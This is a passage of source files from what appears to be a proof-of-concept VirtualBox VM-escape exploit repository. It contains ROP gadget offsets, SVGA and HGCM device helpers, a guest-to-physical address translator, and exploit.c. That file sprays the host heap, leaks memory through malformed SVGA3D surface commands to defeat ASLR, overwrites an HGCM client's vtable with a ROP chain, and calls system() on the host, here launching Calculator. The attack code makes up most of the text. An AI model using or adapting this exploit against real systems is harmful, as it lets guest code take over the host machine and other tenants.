pop_pop_pop_ret = 0x00003fdc; // pop r14 ; pop r15 ; pop rbp ; ret 7 | uint64_t ret = 0x00003de9; // ret 8 | uint64_t add_rax_rcx_jmp_rax = 0x000368f0; // add rax, rcx ; jmp rax 9 | uint64_t pop_rcx = 0x0015e8b3; // pop rcx ; ret 10 | uint64_t mov_rax_mem_rdi_pop = 0x001b36c9; // mov rax, qword [rdi] ; pop rbp ; ret 11 | uint64_t pop_rsp = 0x0016d7e6; // pop rsi ; adc byte [rbx+0x41], bl ; pop rsp ; pop r14 ; pop r15 ; pop rbp ; ret 12 | uint64_t push_rax = 0x0000e9e5; // push rax ; mov rbx, rdi ; mov rax, qword [rbx] ; call qword [rax] 13 | uint64_t pop_rdi = 0x001d138f; // pop rdi ; ret 14 | -------------------------------------------------------------------------------- /vmescape/device.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "device.h" 9 | #include "svga_reg.h" 10 | 11 | #include "VBoxGuest.h" 12 | 13 | extern VBoxGuestPortInfo portinfo; 14 | extern SVGADevice gSVGA; 15 | 16 | /* some publicly available wrappers for SVGA device */ 17 | 18 | uint32_t 19 | SVGA_ReadReg(uint32_t index) 20 | { 21 | outl(index, gSVGA.ioBase + SVGA_INDEX_PORT); 22 | return inl(gSVGA.ioBase + SVGA_VALUE_PORT); 23 | } 24 | 25 | void 26 | SVGA_WriteReg(uint32_t index, uint32_t value) 27 | { 28 | outl(index, gSVGA.ioBase + SVGA_INDEX_PORT); 29 | outl(value, gSVGA.ioBase + SVGA_VALUE_PORT); 30 | } 31 | 32 | void 33 | VMwareWaitForFB(void) 34 | { 35 | SVGA_WriteReg(SVGA_REG_CONFIG_DONE, true); 36 | SVGA_WriteReg(SVGA_REG_SYNC, SVGA_SYNC_GENERIC); 37 | while (SVGA_ReadReg(SVGA_REG_BUSY)); 38 | } 39 | 40 | void 41 | VMwareWriteWordToFIFO(uint32_t value) 42 | { 43 | uint32_t *VMwareFIFO = gSVGA.fifoMem; 44 | 45 | if ((VMwareFIFO[SVGA_FIFO_NEXT_CMD] + sizeof(uint32_t) == VMwareFIFO[SVGA_FIFO_STOP]) 46 | || (VMwareFIFO[SVGA_FIFO_NEXT_CMD] == VMwareFIFO[SVGA_FIFO_MAX] - sizeof(uint32_t) 47 | && VMwareFIFO[SVGA_FIFO_STOP] == VMwareFIFO[SVGA_FIFO_MIN])) { 48 | 49 | VMwareWaitForFB(); 50 | } 51 | 52 | VMwareFIFO[VMwareFIFO[SVGA_FIFO_NEXT_CMD] / sizeof(uint32_t)] = value; 53 | 54 | if(VMwareFIFO[SVGA_FIFO_NEXT_CMD] == VMwareFIFO[SVGA_FIFO_MAX] - sizeof(uint32_t)) { 55 | VMwareFIFO[SVGA_FIFO_NEXT_CMD] = VMwareFIFO[SVGA_FIFO_MIN]; 56 | } else { 57 | VMwareFIFO[SVGA_FIFO_NEXT_CMD] += sizeof(uint32_t); 58 | } 59 | } 60 | 61 | /* PCI device related code */ 62 | 63 | void 64 | pci_cleanup(struct pci_device_iterator *iter) 65 | { 66 | 67 | pci_iterator_destroy(iter); 68 | pci_system_cleanup(); 69 | } 70 | 71 | 72 | int 73 | conf_svga_device(void) 74 | { 75 | 76 | struct pci_device *dev; 77 | struct pci_device_iterator *iter; 78 | struct pci_id_match match; 79 | uint16_t command; 80 | 81 | if (getuid() != 0 || geteuid() != 0) 82 | errx(EXIT_FAILURE, "[!] Run program as root"); 83 | 84 | iopl(3); 85 | 86 | if (pci_system_init()) 87 | return -1; 88 | 89 | match.vendor_id = PCI_VENDOR_ID_VMWARE; 90 | match.device_id = PCI_DEVICE_ID_VMWARE_SVGA2; 91 | match.subvendor_id = PCI_MATCH_ANY; 92 | match.subdevice_id = PCI_MATCH_ANY; 93 | match.device_class = 0; 94 | match.device_class_mask = 0; 95 | 96 | iter = pci_id_match_iterator_create(&match); 97 | dev = pci_device_next(iter); 98 | 99 | if (dev == NULL) { 100 | pci_cleanup(iter); 101 | return -1; 102 | } 103 | 104 | pci_device_probe(dev); 105 | 106 | gSVGA.ioBase = dev->regions[0].base_addr; 107 | gSVGA.fbMem = (void *)dev->regions[1].base_addr; 108 | gSVGA.fifoMem = (void *)dev->regions[2].base_addr; 109 | 110 | command = pci_device_cfg_read_u16(dev, 0, 4); 111 | pci_device_cfg_write_u16(dev, command | 7, 4); 112 | 113 | SVGA_WriteReg(SVGA_REG_ID, SVGA_ID_2); 114 | SVGA_WriteReg(SVGA_REG_ENABLE, true); 115 | 116 | gSVGA.vramSize = SVGA_ReadReg(SVGA_REG_VRAM_SIZE); 117 | gSVGA.fbSize = SVGA_ReadReg(SVGA_REG_FB_SIZE); 118 | gSVGA.fifoSize = SVGA_ReadReg(SVGA_REG_MEM_SIZE); 119 | 120 | pci_device_map_range(dev, (pciaddr_t)gSVGA.fbMem, (pciaddr_t)gSVGA.fbSize, 121 | PCI_DEV_MAP_FLAG_WRITABLE, (void *)&gSVGA.fbMem); 122 | pci_device_map_range(dev, (pciaddr_t)gSVGA.fifoMem, (pciaddr_t)gSVGA.fifoSize, 123 | PCI_DEV_MAP_FLAG_WRITABLE, (void *)&gSVGA.fifoMem); 124 | 125 | pci_cleanup(iter); 126 | 127 | return 0; 128 | } 129 | 130 | int 131 | conf_vmm_device(void) 132 | { 133 | 134 | struct pci_device *dev; 135 | struct pci_device_iterator *iter; 136 | struct pci_id_match match; 137 | 138 | if (getuid() != 0 || geteuid() != 0) 139 | errx(EXIT_FAILURE, "[!] Run program as root"); 140 | 141 | iopl(3); 142 | 143 | if (pci_system_init()) 144 | return -1; 145 | 146 | match.vendor_id = 0x80ee; 147 | match.device_id = 0xcafe; 148 | match.subvendor_id = PCI_MATCH_ANY; 149 | match.subdevice_id = PCI_MATCH_ANY; 150 | match.device_class = 0; 151 | match.device_class_mask = 0; 152 | 153 | iter = pci_id_match_iterator_create(&match); 154 | dev = pci_device_next(iter); 155 | 156 | if (dev == NULL) { 157 | pci_cleanup(iter); 158 | return -1; 159 | } 160 | 161 | pci_device_probe(dev); 162 | 163 | portinfo.portAddress = dev->regions[0].base_addr; 164 | 165 | pci_cleanup(iter); 166 | 167 | return 0; 168 | } 169 | 170 | -------------------------------------------------------------------------------- /vmescape/device.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | typedef long long int64; 5 | typedef unsigned long long uint64; 6 | 7 | typedef int int32; 8 | typedef unsigned int uint32; 9 | 10 | typedef short int16; 11 | typedef unsigned short uint16; 12 | 13 | typedef char int8; 14 | typedef unsigned char uint8; 15 | 16 | typedef uint8 Bool; 17 | 18 | typedef struct SVGADevice { 19 | uint32 ioBase; 20 | uint32 *fifoMem; 21 | uint8 *fbMem; 22 | uint32 fifoSize; 23 | uint32 fbSize; 24 | uint32 vramSize; 25 | 26 | uint32 deviceVersionId; 27 | uint32 capabilities; 28 | 29 | uint32 width; 30 | uint32 height; 31 | uint32 bpp; 32 | uint32 pitch; 33 | } SVGADevice; 34 | 35 | uint32_t SVGA_ReadReg(uint32_t); 36 | void SVGA_WriteReg(uint32_t, uint32_t); 37 | void VMwareWaitForFB(void); 38 | void VMwareWriteWordToFIFO(uint32_t); 39 | int conf_svga_device(void); 40 | 41 | int conf_vmm_device(void); 42 | void spray_hgcm_connection(uint32_t nobjects); 43 | -------------------------------------------------------------------------------- /vmescape/exploit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "device.h" 9 | #include "svga3d_reg.h" 10 | #include "hgcm.h" 11 | #include "address.h" 12 | #include "VBoxGuest.h" 13 | 14 | #define get_offset(structure, e) __builtin_offsetof(structure, e) 15 | 16 | SVGADevice gSVGA; 17 | VBoxGuestPortInfo portinfo; 18 | 19 | char *calc = "/Applications/Calculator.app/Contents/MacOS/Calculator"; 20 | 21 | void 22 | spray_hgcm_connection(uint32_t nobjects) 23 | { 24 | VMMDevHGCMConnect *connect; 25 | uint64_t connect_gpa; 26 | 27 | connect = (VMMDevHGCMConnect *) mmap(0, getpagesize(), PROT_READ | PROT_WRITE, 28 | MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0); 29 | 30 | connect_gpa = gva_to_gpa((uint64_t)connect); 31 | 32 | connect->loc.type = VMMDevHGCMLoc_LocalHost_Existing; 33 | strcpy(connect->loc.u.host.achName, "VBoxGuestPropSvc"); 34 | 35 | connect->u32ClientID = 0; 36 | 37 | connect->header.result = 0; 38 | connect->header.fu32Flags = 0; 39 | 40 | connect->header.header.version = VMMDEV_REQUEST_HEADER_VERSION; 41 | connect->header.header.requestType = VMMDevReq_HGCMConnect; 42 | connect->header.header.size = sizeof(VMMDevHGCMConnect); 43 | 44 | for (int i = 0; i < nobjects; i++) { 45 | outl(connect_gpa, portinfo.portAddress); 46 | } 47 | 48 | munmap(connect, getpagesize()); 49 | } 50 | 51 | void 52 | disconnect_client(uint32_t clientID) 53 | { 54 | VMMDevHGCMDisconnect *disconnect; 55 | uint64_t disconnect_gpa; 56 | 57 | disconnect = (VMMDevHGCMDisconnect *) mmap(0, getpagesize(), PROT_READ | PROT_WRITE, 58 | MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0); 59 | 60 | disconnect_gpa = gva_to_gpa((uint64_t)disconnect); 61 | 62 | disconnect->u32ClientID = clientID; 63 | 64 | disconnect->header.result = 0; 65 | disconnect->header.fu32Flags = 0; 66 | 67 | disconnect->header.header.version = VMMDEV_REQUEST_HEADER_VERSION; 68 | disconnect->header.header.requestType = VMMDevReq_HGCMDisconnect; 69 | disconnect->header.header.size = sizeof(VMMDevHGCMDisconnect); 70 | 71 | outl(disconnect_gpa, portinfo.portAddress); 72 | 73 | munmap(disconnect, getpagesize()); 74 | 75 | } 76 | 77 | 78 | void 79 | allocate_surface(uint32_t sid, uint32_t size) 80 | { 81 | SVGA3dCmdHeader hdr = {0}; 82 | SVGA3dCmdDefineSurface surface = {0}; 83 | SVGA3dSize dsize[2] = {0}; 84 | 85 | hdr.size = 48; 86 | 87 | surface.sid = sid; 88 | surface.surfaceFlags = SVGA3D_SURFACE_HINT_STATIC; 89 | surface.format = SVGA3D_BUFFER; 90 | surface.face[0].numMipLevels = 1; 91 | surface.face[1].numMipLevels = 0; 92 | surface.face[2].numMipLevels = 0; 93 | surface.face[3].numMipLevels = 0; 94 | surface.face[4].numMipLevels = 0; 95 | surface.face[5].numMipLevels = 0; 96 | 97 | /* Set as much as higher value */ 98 | dsize[0].width = 0xffffffff; 99 | dsize[0].height = 0xfffffffe; 100 | dsize[0].depth = 0x80000000 + (size / 2); 101 | 102 | SVGA_WriteReg(SVGA_REG_CONFIG_DONE, false); 103 | 104 | VMwareWriteWordToFIFO(SVGA_3D_CMD_SURFACE_DEFINE); 105 | VMwareWriteWordToFIFO(hdr.size); 106 | VMwareWriteWordToFIFO(surface.sid); 107 | VMwareWriteWordToFIFO(surface.surfaceFlags); 108 | VMwareWriteWordToFIFO(surface.format); 109 | VMwareWriteWordToFIFO(surface.face[0].numMipLevels); 110 | VMwareWriteWordToFIFO(surface.face[1].numMipLevels); 111 | VMwareWriteWordToFIFO(surface.face[2].numMipLevels); 112 | VMwareWriteWordToFIFO(surface.face[3].numMipLevels); 113 | VMwareWriteWordToFIFO(surface.face[4].numMipLevels); 114 | VMwareWriteWordToFIFO(surface.face[5].numMipLevels); 115 | VMwareWriteWordToFIFO(dsize[0].width); 116 | VMwareWriteWordToFIFO(dsize[0].height); 117 | VMwareWriteWordToFIFO(dsize[0].depth); 118 | VMwareWaitForFB(); 119 | 120 | } 121 | 122 | void 123 | access_memory(uint32_t sid, SVGA3dTransferType type, uint8_t *memory, uint32_t size) 124 | { 125 | SVGA3dCmdHeader hdr = {0}; 126 | SVGA3dCmdSurfaceDMA surfacedma = {0}; 127 | SVGA3dCopyBox boxes = {0}; 128 | 129 | hdr.size = 64; 130 | 131 | surfacedma.guest.ptr.gmrId = SVGA_GMR_FRAMEBUFFER; 132 | surfacedma.guest.ptr.offset = 0; 133 | surfacedma.guest.pitch = 1; 134 | surfacedma.host.sid = sid; 135 | surfacedma.host.face = 0; 136 | surfacedma.host.mipmap = 0; 137 | surfacedma.transfer = type; 138 | 139 | boxes.x = 0x100000000 - size; 140 | boxes.y = 0; 141 | boxes.z = 0; 142 | boxes.w = size; 143 | boxes.h = 1; 144 | boxes.d = 1; 145 | boxes.srcx = 0; 146 | boxes.srcy = 0; 147 | boxes.srcz = 0; 148 | 149 | SVGA_WriteReg(SVGA_REG_CONFIG_DONE, false); 150 | 151 | VMwareWriteWordToFIFO(SVGA_3D_CMD_SURFACE_DMA); 152 | VMwareWriteWordToFIFO(hdr.size); 153 | VMwareWriteWordToFIFO(surfacedma.guest.ptr.gmrId); 154 | VMwareWriteWordToFIFO(surfacedma.guest.ptr.offset); 155 | VMwareWriteWordToFIFO(surfacedma.guest.pitch); 156 | VMwareWriteWordToFIFO(surfacedma.host.sid); 157 | VMwareWriteWordToFIFO(surfacedma.host.face); 158 | VMwareWriteWordToFIFO(surfacedma.host.mipmap); 159 | VMwareWriteWordToFIFO(surfacedma.transfer); 160 | VMwareWriteWordToFIFO(boxes.x); 161 | VMwareWriteWordToFIFO(boxes.y); 162 | VMwareWriteWordToFIFO(boxes.z); 163 | VMwareWriteWordToFIFO(boxes.w); 164 | VMwareWriteWordToFIFO(boxes.h); 165 | VMwareWriteWordToFIFO(boxes.d); 166 | VMwareWriteWordToFIFO(boxes.srcx); 167 | VMwareWriteWordToFIFO(boxes.srcy); 168 | VMwareWriteWordToFIFO(boxes.srcz); 169 | 170 | /* copy data to framebuffer for writing */ 171 | if (type == SVGA3D_WRITE_HOST_VRAM) { 172 | memcpy(gSVGA.fbMem, memory, size); 173 | } 174 | 175 | VMwareWaitForFB(); 176 | 177 | /* copy leaked data from framebuffer */ 178 | if (type == SVGA3D_READ_HOST_VRAM) { 179 | memcpy(memory, gSVGA.fbMem, size); 180 | } 181 | } 182 | 183 | void 184 | free_surface(uint32_t sid) 185 | { 186 | SVGA3dCmdHeader hdr = {0}; 187 | SVGA3dCmdDestroySurface destroy = {0}; 188 | 189 | hdr.size = 4; 190 | destroy.sid = 0; 191 | 192 | SVGA_WriteReg(SVGA_REG_CONFIG_DONE, false); 193 | 194 | VMwareWriteWordToFIFO(SVGA_3D_CMD_SURFACE_DESTROY); 195 | VMwareWriteWordToFIFO(hdr.size); 196 | VMwareWriteWordToFIFO(destroy.sid); 197 | VMwareWaitForFB(); 198 | } 199 | 200 | struct client_details { 201 | uint32_t offset; 202 | uint64_t key; 203 | uint64_t vboxc_base; 204 | uint64_t pSelf; 205 | } client_details; 206 | 207 | int 208 | find_hgcm_client(uint8_t *memory, int memsize, struct client_details *details) 209 | { 210 | 211 | struct HGCMClient *leaked_client; 212 | uint64_t vtable, pSelf, pService, key; 213 | uint64_t vboxc_base; 214 | uint32_t m_cRefs, m_enmObjType; 215 | 216 | uint8_t *start = memory; 217 | uint8_t *stop; 218 | 219 | stop = start + memsize - sizeof(struct HGCMClient); 220 | 221 | while (memory < stop) { 222 | 223 | leaked_client = (struct HGCMClient *)memory; 224 | 225 | vtable = (uint64_t)leaked_client->vptr_HGCMObject; 226 | m_cRefs = leaked_client->m_cRefs; 227 | m_enmObjType = leaked_client->m_enmObjType; 228 | key = leaked_client->m_core.AvlCore.Key; 229 | pSelf = (uint64_t)leaked_client->m_core.pSelf; 230 | pService = (uint64_t)leaked_client->pService; 231 | 232 | if (((vtable & 0xFFF) == (hgcm_vtable_offset & 0xFFF)) && (m_cRefs > 0) 233 | && (m_enmObjType == HGCMOBJ_CLIENT) && (key > 0) 234 | && (pSelf >> 40 == 0x7f) && (pService >> 40 == 0x7f)) { 235 | 236 | vboxc_base = vtable - hgcm_vtable_offset; 237 | details->offset = memory - start; 238 | details->key = key; 239 | details->vboxc_base = vboxc_base; 240 | details->pSelf = pSelf; 241 | return 0; 242 | } 243 | 244 | memory += sizeof(uint64_t); 245 | } 246 | 247 | return -1; 248 | } 249 | 250 | int main(int argc, char **argv) 251 | { 252 | 253 | struct client_details details; 254 | struct HGCMClient *leaked_client; 255 | uint8_t *memory; 256 | uint64_t *fake_vtable, *rop; 257 | char *system_rdi; 258 | int rv, surface_id; 259 | 260 | if (conf_svga_device() != 0) 261 | errx(EXIT_FAILURE, "[!] Error initializing SVGA device"); 262 | 263 | if (conf_vmm_device() != 0) 264 | errx(EXIT_FAILURE, "[!] Error initializing VMM device"); 265 | 266 | SVGA_WriteReg(SVGA_REG_WIDTH, 0x320); 267 | SVGA_WriteReg(SVGA_REG_HEIGHT, 0x260); 268 | SVGA_WriteReg(SVGA_REG_BITS_PER_PIXEL, 32); 269 | 270 | warnx("[+] Spraying the heap with HGCM connection objects..."); 271 | spray_hgcm_connection(0x100000); 272 | 273 | warnx("[+] Filling the heap with SVGA surfaces. This will take sometime..."); 274 | for (int i = 0; i < SVGA3D_MAX_SURFACE_IDS; i++) { 275 | allocate_surface(i, 127 * 1024); // 127 KB allocations 276 | } 277 | 278 | memory = malloc(0x1000); 279 | warnx("[+] Locating HGCM object in heap..."); 280 | 281 | /* leak memory */ 282 | for (int i = SVGA3D_MAX_SURFACE_IDS - 1; i >= 0; i--) { 283 | access_memory(i, SVGA3D_READ_HOST_VRAM, memory, 0x1000); 284 | rv = find_hgcm_client(memory, 0x1000, &details); 285 | if (rv == 0) { 286 | surface_id = i; 287 | break; 288 | } 289 | } 290 | 291 | warnx("[+] Using Surface ID 0x%x", surface_id); 292 | warnx("[+] HGCM client object found @ 0x%lx", details.pSelf); 293 | warnx("[+] VBoxC.dylib @ 0x%lx", details.vboxc_base); 294 | warnx("[+] ClientID = 0x%lx", details.key); 295 | 296 | leaked_client = (struct HGCMClient *)(memory + details.offset); 297 | leaked_client[0].vptr_HGCMObject = (void *)(details.pSelf + get_offset(struct HGCMClient, pvData)); 298 | 299 | fake_vtable = (uint64_t *)&leaked_client[0].pvData; 300 | *fake_vtable++ = pop_rsp + details.vboxc_base; 301 | *fake_vtable++ = push_rax + details.vboxc_base; 302 | *fake_vtable++ = 0x4242424242424242; 303 | 304 | *fake_vtable++ = ret + details.vboxc_base; 305 | *fake_vtable++ = pop_pop_pop_ret + details.vboxc_base; 306 | 307 | rop = (uint64_t *)&leaked_client[1].m_core.pSelf; 308 | *rop++ = pop_rdi + details.vboxc_base; 309 | *rop++ = got_stack_chk_fail + details.vboxc_base; 310 | *rop++ = mov_rax_mem_rdi_pop + details.vboxc_base; 311 | *rop++ = 0x4242424242424242; 312 | *rop++ = pop_rcx + details.vboxc_base; 313 | *rop++ = libsystem_c_system - libsystem_c_stack_chk_fail; 314 | *rop++ = pop_pop_pop_ret + details.vboxc_base; 315 | 316 | rop = (uint64_t *)&leaked_client[2].m_core.pSelf; 317 | *rop++ = pop_rdi + details.vboxc_base; 318 | *rop++ = details.pSelf + sizeof(struct HGCMClient) * 3 + get_offset(struct HGCMClient, m_core.pSelf); 319 | *rop++ = add_rax_rcx_jmp_rax + details.vboxc_base; 320 | *rop++ = 0xdeadbeef00000000; 321 | *rop++ = 0xdeadbeef00000000; 322 | *rop++ = 0xdeadbeef00000000; 323 | *rop++ = 0xdeadbeef00000000; 324 | 325 | system_rdi = (char *)&leaked_client[3].m_core.pSelf; 326 | memcpy(system_rdi, calc, strlen(calc)); 327 | 328 | warnx("[+] Overwriting HGCM client object..."); 329 | access_memory(surface_id, SVGA3D_WRITE_HOST_VRAM, memory, 0x1000); 330 | 331 | warnx("[+] Triggering payload..."); 332 | disconnect_client(details.key); 333 | 334 | return 0; 335 | } 336 | -------------------------------------------------------------------------------- /vmescape/hgcm.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * AVL key type 5 | */ 6 | typedef unsigned long AVLULKEY; 7 | 8 | /** 9 | * AVL Core node. 10 | */ 11 | typedef struct _AVLULNodeCore 12 | { 13 | AVLULKEY Key; /** Key value. */ 14 | struct _AVLULNodeCore *pLeft; /** Pointer to left leaf node. */ 15 | struct _AVLULNodeCore *pRight; /** Pointer to right leaf node. */ 16 | unsigned char uchHeight; /** Height of this tree: max(height(left), height(right)) + 1 */ 17 | } AVLULNODECORE, *PAVLULNODECORE, **PPAVLULNODECORE; 18 | 19 | 20 | typedef struct _ObjectAVLCore 21 | { 22 | AVLULNODECORE AvlCore; 23 | void *pSelf; // type HGCMObject 24 | } ObjectAVLCore; 25 | 26 | typedef enum 27 | { 28 | HGCMOBJ_CLIENT, 29 | HGCMOBJ_THREAD, 30 | HGCMOBJ_MSG, 31 | HGCMOBJ_SizeHack = 0x7fffffff 32 | } HGCMOBJ_TYPE; 33 | 34 | struct HGCMClient { 35 | void *vptr_HGCMObject; 36 | uint32_t m_cRefs; 37 | uint32_t m_enmObjType; // HGCMOBJ_TYPE enum 38 | ObjectAVLCore m_core; 39 | void *pService; // type HGCMService 40 | void *pvData; 41 | uint64_t padding; 42 | } HGCMClient; 43 | 44 | -------------------------------------------------------------------------------- /vmescape/mmu.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Code from virtunoid exploit for QEMU 3 | * https://github.com/nelhage/virtunoid/blob/master/virtunoid.c 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #define PAGE_SHIFT 12 14 | #define PAGE_SIZE (1 << PAGE_SHIFT) 15 | #define PFN_PRESENT (1ull << 63) 16 | #define PFN_PFN ((1ull << 55) - 1) 17 | 18 | typedef uint64_t gpa_t; 19 | typedef uint64_t gfn_t; 20 | typedef void *gva_t; 21 | 22 | uint32_t page_offset(unsigned long addr) { 23 | return addr & ((1 << PAGE_SHIFT) - 1); 24 | } 25 | 26 | gfn_t gva_to_gfn(gva_t addr) { 27 | static int fd = -1; 28 | size_t off; 29 | uint64_t pte, pfn; 30 | 31 | 32 | if (fd < 0) 33 | fd = open("/proc/self/pagemap", O_RDONLY); 34 | if (fd < 0) 35 | errx(EXIT_FAILURE, "open"); 36 | off = ((uintptr_t)addr >> 9) & ~7; 37 | 38 | if (lseek(fd, off, SEEK_SET) != off) 39 | errx(EXIT_FAILURE, "lseek"); 40 | 41 | if (read(fd, &pte, 8) != 8) 42 | errx(EXIT_FAILURE, "read"); 43 | if (!(pte & PFN_PRESENT)) 44 | return (gfn_t)-1; 45 | 46 | pfn = pte & PFN_PFN; 47 | return pfn; 48 | } 49 | 50 | uint64_t gva_to_gpa(uint64_t addr) { 51 | gfn_t gfn = gva_to_gfn((gva_t)addr); 52 | assert(gfn != (gfn_t)-1); 53 | return (gfn << PAGE_SHIFT) | page_offset((unsigned long)addr); 54 | } 55 | 56 | -------------------------------------------------------------------------------- /vmescape/svga_reg.h: -------------------------------------------------------------------------------- 1 | /********************************************************** 2 | * Copyright 1998-2009 VMware, Inc. All rights reserved. 3 | * 4 | * Permission is hereby granted, free of charge, to any person 5 | * obtaining a copy of this software and associated documentation 6 | * files (the "Software"), to deal in the Software without 7 | * restriction, including without limitation the rights to use, copy, 8 | * modify, merge, publish, distribute, sublicense, and/or sell copies 9 | * of the Software, and to permit persons to whom the Software is 10 | * furnished to do so, subject to the following conditions: 11 | * 12 | * The above copyright notice and this permission notice shall be 13 | * included in all copies or substantial portions of the Software. 14 | * 15 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 16 | * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 17 | * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 18 | * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS 19 | * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN 20 | * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 21 | * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | * SOFTWARE. 23 | * 24 | **********************************************************/ 25 | 26 | /* 27 | * svga_reg.h -- 28 | * 29 | * Virtual hardware definitions for the VMware SVGA II device. 30 | */ 31 | 32 | #ifndef _SVGA_REG_H_ 33 | #define _SVGA_REG_H_ 34 | 35 | /* 36 | * PCI device IDs. 37 | */ 38 | #define PCI_VENDOR_ID_VMWARE 0x15AD 39 | #define PCI_DEVICE_ID_VMWARE_SVGA2 0x0405 40 | 41 | /* 42 | * SVGA_REG_ENABLE bit definitions. 43 | */ 44 | #define SVGA_REG_ENABLE_DISABLE 0 45 | #define SVGA_REG_ENABLE_ENABLE 1 46 | #define SVGA_REG_ENABLE_HIDE 2 47 | #define SVGA_REG_ENABLE_ENABLE_HIDE (SVGA_REG_ENABLE_ENABLE |\ 48 | SVGA_REG_ENABLE_HIDE) 49 | 50 | /* 51 | * Legal values for the SVGA_REG_CURSOR_ON register in old-fashioned 52 | * cursor bypass mode. This is still supported, but no new guest 53 | * drivers should use it. 54 | */ 55 | #define SVGA_CURSOR_ON_HIDE 0x0 /* Must be 0 to maintain backward compatibility */ 56 | #define SVGA_CURSOR_ON_SHOW 0x1 /* Must be 1 to maintain backward compatibility */ 57 | #define SVGA_CURSOR_ON_REMOVE_FROM_FB 0x2 /* Remove the cursor from the framebuffer because we need to see what's under it */ 58 | #define SVGA_CURSOR_ON_RESTORE_TO_FB 0x3 /* Put the cursor back in the framebuffer so the user can see it */ 59 | 60 | /* 61 | * The maximum framebuffer size that can traced for e.g. guests in VESA mode. 62 | * The changeMap in the monitor is proportional to this number. Therefore, we'd 63 | * like to keep it as small as possible to reduce monitor overhead (using 64 | * SVGA_VRAM_MAX_SIZE for this increases the size of the shared area by over 65 | * 4k!). 66 | * 67 | * NB: For compatibility reasons, this value must be greater than 0xff0000. 68 | * See bug 335072. 69 | */ 70 | #define SVGA_FB_MAX_TRACEABLE_SIZE 0x1000000 71 | 72 | #define SVGA_MAX_PSEUDOCOLOR_DEPTH 8 73 | #define SVGA_MAX_PSEUDOCOLORS (1 << SVGA_MAX_PSEUDOCOLOR_DEPTH) 74 | #define SVGA_NUM_PALETTE_REGS (3 * SVGA_MAX_PSEUDOCOLORS) 75 | 76 | #define SVGA_MAGIC 0x900000UL 77 | #define SVGA_MAKE_ID(ver) (SVGA_MAGIC << 8 | (ver)) 78 | 79 | /* Version 2 let the address of the frame buffer be unsigned on Win32 */ 80 | #define SVGA_VERSION_2 2 81 | #define SVGA_ID_2 SVGA_MAKE_ID(SVGA_VERSION_2) 82 | 83 | /* Version 1 has new registers starting with SVGA_REG_CAPABILITIES so 84 | PALETTE_BASE has moved */ 85 | #define SVGA_VERSION_1 1 86 | #define SVGA_ID_1 SVGA_MAKE_ID(SVGA_VERSION_1) 87 | 88 | /* Version 0 is the initial version */ 89 | #define SVGA_VERSION_0 0 90 | #define SVGA_ID_0 SVGA_MAKE_ID(SVGA_VERSION_0) 91 | 92 | /* "Invalid" value for all SVGA IDs. (Version ID, screen object ID, surface ID...) */ 93 | #define SVGA_ID_INVALID 0xFFFFFFFF 94 | 95 | /* Port offsets, relative to BAR0 */ 96 | #define SVGA_INDEX_PORT 0x0 97 | #define SVGA_VALUE_PORT 0x1 98 | #define SVGA_BIOS_PORT 0x2 99 | #define SVGA_IRQSTATUS_PORT 0x8 100 | 101 | /* 102 | * Interrupt source flags for IRQSTATUS_PORT and IRQMASK. 103 | * 104 | * Interrupts are only supported when the 105 | * SVGA_CAP_IRQMASK capability is present. 106 | */ 107 | #define SVGA_IRQFLAG_ANY_FENCE 0x1 /* Any fence was passed */ 108 | #define SVGA_IRQFLAG_FIFO_PROGRESS 0x2 /* Made forward progress in the FIFO */ 109 | #define SVGA_IRQFLAG_FENCE_GOAL 0x4 /* SVGA_FIFO_FENCE_GOAL reached */ 110 | 111 | /* 112 | * Sync register values 113 | */ 114 | 115 | #define SVGA_SYNC_GENERIC 1 116 | #define SVGA_SYNC_FIFOFULL 2 117 | 118 | /* 119 | * Registers 120 | */ 121 | 122 | enum { 123 | SVGA_REG_ID = 0, 124 | SVGA_REG_ENABLE = 1, 125 | SVGA_REG_WIDTH = 2, 126 | SVGA_REG_HEIGHT = 3, 127 | SVGA_REG_MAX_WIDTH = 4, 128 | SVGA_REG_MAX_HEIGHT = 5, 129 | SVGA_REG_DEPTH = 6, 130 | SVGA_REG_BITS_PER_PIXEL = 7, /* Current bpp in the guest */ 131 | SVGA_REG_PSEUDOCOLOR = 8, 132 | SVGA_REG_RED_MASK = 9, 133 | SVGA_REG_GREEN_MASK = 10, 134 | SVGA_REG_BLUE_MASK = 11, 135 | SVGA_REG_BYTES_PER_LINE = 12, 136 | SVGA_REG_FB_START = 13, /* (Deprecated) */ 137 | SVGA_REG_FB_OFFSET = 14, 138 | SVGA_REG_VRAM_SIZE = 15, 139 | SVGA_REG_FB_SIZE = 16, 140 | 141 | /* ID 0 implementation only had the above registers, then the palette */ 142 | 143 | SVGA_REG_CAPABILITIES = 17, 144 | SVGA_REG_MEM_START = 18, /* (Deprecated) */ 145 | SVGA_REG_MEM_SIZE = 19, 146 | SVGA_REG_CONFIG_DONE = 20, /* Set when memory area configured */ 147 | SVGA_REG_SYNC = 21, /* See "FIFO Synchronization Registers" */ 148 | SVGA_REG_BUSY = 22, /* See "FIFO Synchronization Registers" */ 149 | SVGA_REG_GUEST_ID = 23, /* Set guest OS identifier */ 150 | SVGA_REG_CURSOR_ID = 24, /* (Deprecated) */ 151 | SVGA_REG_CURSOR_X = 25, /* (Deprecated) */ 152 | SVGA_REG_CURSOR_Y = 26, /* (Deprecated) */ 153 | SVGA_REG_CURSOR_ON = 27, /* (Deprecated) */ 154 | SVGA_REG_HOST_BITS_PER_PIXEL = 